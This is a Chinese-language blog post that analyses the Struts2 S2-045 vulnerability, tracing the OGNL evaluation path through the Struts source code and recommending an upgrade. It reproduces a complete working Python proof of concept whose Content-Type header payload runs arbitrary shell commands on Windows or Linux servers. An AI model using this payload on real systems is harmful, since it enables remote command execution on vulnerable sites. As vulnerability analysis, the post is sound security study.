• S2-045漏洞初步分析


    0x01 前言

         前几天刚分析完s2-032这个漏洞,今天又爆发了一个s2-045的漏洞,又是直接的命令执行,影响了struts2绝大多数的版本.

    官方给的漏洞公告在这里   https://cwiki.apache.org/confluence/display/WW/S2-045

    受影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

          其实昨天就看到朋友圈有人在发这个漏洞,一看是s2-045,心想着struts2的问题可真多,编号都排到45了,就像道哥说的一样如果一个软件出现的漏洞较多,那么说明代码维护者的安全意识与安全经验有所欠缺,同时由于破窗效应,这个软件未来往往出现更多的漏洞,struts2确实让人不太省心,然后当时也给自己一个做j2ee开发的朋友说s2又爆出了一个漏洞,他还不在乎的说谁现在还用struts2啊,我们现在都用SpringMVC了,但是自己测试了几个大型的网站,还是受到了s2-045漏洞的影响,仔细想想的确现在开发j2ee struts2框架的很少了,但是一些网站的老系统之前都是用的s2框架,而这些可能又是和他们业务息息相关的,一时的完全替代成本太高,所以基本是就是“修修补补又三年”的状态。

    0x02 poc分析

          网上流传的poc传播的很快,代码如下:

    #! /usr/bin/env python
    # encoding:utf-8
    import urllib2
    import sys
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    
    def poc():
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
        response = urllib2.urlopen(request)
        print response.read()
    
    poc()

    之前测试s2-032的环境struts2的版本就是2.3.28,也是这次漏洞受影响的版本,所以是直接就可以拿来用。

    wireshark抓个包看看。如下图所示:

    从poc和wireshark中可以看到,恶意的payload是以http header中的Content-type为载体的,最终导致ognl表达式的命令执行的目的。这个poc的ognl表达式和之前的s2-032不同,还是颇有讲究的,对win和linux做了兼容性处理。

    0x03 漏洞分析

    过程回溯

    通过patch对比发现

    变化就在return的这行,从所在的类名和函数名buildErrorMessage可以看出应该是当对Mulitpart解析出错之后“建立”错误消息,那我们在这里加个断点试试看,加断点之后发现当代码执行完这行到这一步的时候,对应的我们的命令就执行了,如下图

    据此可以判定这里就是问题所在的地方,那这个findtext又是什么来路?我们来看看这个函数的定义:

       public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
            ValueStack valueStack = ActionContext.getContext().getValueStack();
            return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
    
        }
    
        /**
         * Finds a localized text message for the given key, aTextName. Both the key and the message
         * itself is evaluated as required.  The following algorithm is used to find the requested
         * message:
         * <p/>
         * <ol>
         * <li>Look for message in aClass' class hierarchy.
         * <ol>
         * <li>Look for the message in a resource bundle for aClass</li>
         * <li>If not found, look for the message in a resource bundle for any implemented interface</li>
         * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
         * </ol></li>
         * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in
         * the model's class hierarchy (repeat sub-steps listed above).</li>
         * <li>If not found, look for message in child property.  This is determined by evaluating
         * the message key as an OGNL expression.  For example, if the key is
         * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
         * object.  If so, repeat the entire process fromthe beginning with the object's class as
         * aClass and "address.state" as the message key.</li>
         * <li>If not found, look for the message in aClass' package hierarchy.</li>
         * <li>If still not found, look for the message in the default resource bundles.</li>
         * <li>Return defaultMessage</li>
         * </ol>
         * <p/>
         * When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a
         * message for that specific key cannot be found, the general form will also be looked up
         * (i.e. user.phone[*]).
         * <p/>
         * If a message is found, it will also be interpolated.  Anything within <code>${...}</code>
         * will be treated as an OGNL expression and evaluated as such.
         * <p/>
         * If a message is <b>not</b> found a WARN log will be logged.
         *
         * @param aClass         the class whose name to use as the start point for the search
         * @param aTextName      the key to find the text message for
         * @param locale         the locale the message should be for
         * @param defaultMessage the message to be returned if no text message can be found in any
         *                       resource bundle
         * @param valueStack     the value stack to use to evaluate expressions instead of the
         *                       one in the ActionContext ThreadLocal
         * @return the localized text, or null if none can be found and no defaultMessage is provided
         */

    大致的意思是通过给定的key和aTextname找到本地化的text message,关键点在key这个参数会进行ognl表达式的执行。不断跟进代码,我们最终发现了ognl表达式和我们的payload是在LocalizedTextUtil类的getDefaultMessage()这个函数里面最终执行的。

    可见漏洞产生的关键点是在处理 error message产生了问题,message拼接了用户的“输入”,而这个message参数会传递到transalteVariables()这个函数,这个函数的定义如下:

        /**
         * Converted object from variable translation.
         *
         * @param open
         * @param expression
         * @param stack
         * @param asType
         * @param evaluator
         * @return Converted object from variable translation.
         */
        public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
    
            ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
                public Object evaluate(String parsedValue) {
                    Object o = stack.findValue(parsedValue, asType);
                    if (evaluator != null && o != null) {
                        o = evaluator.evaluate(o.toString());
                    }
                    return o;
                }
            };

    expression是要被用作ognl表达式执行的,这个时候就boom,命令执行了。

    0x04 小结

         攻击者构造的header中的Content-Type会经过dispatcher.multipart包中Jakarta相关类的处理,但是解析出错,而且是未定义的错误,那么程序就将这个错误message“输出”出来,但在输出的时候还拼接了用户的输入,而且还被当做ognl表达式来执行(有些不太让人理解?为了更友好的展示错误输出信息?),这样就导致了命令执行。

    0x05 防御

         升级至最新版本

    0x06 Reference

    1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0

  • 相关阅读:
    javaday19_List接口_Set接口
    01玩转数据结构_04_最基础的动态数据结构:链表
    10 拖拽的对话框_滚动条_放大镜_
    01玩转数据结构_03_栈和队列
    java小技巧
    01玩转数据结构_02_不要小瞧数组
    01玩转数据结构_01_课程介绍
    javaday18_ArrayList
    JZOJ.3777【NOI2015模拟8.17】最短路(shortest)
    JZOJ.5230【NOIP2017模拟8.5】队伍统计
  • 原文地址:https://www.cnblogs.com/mrchang/p/6515150.html
Copyright © 2020-2023  润新知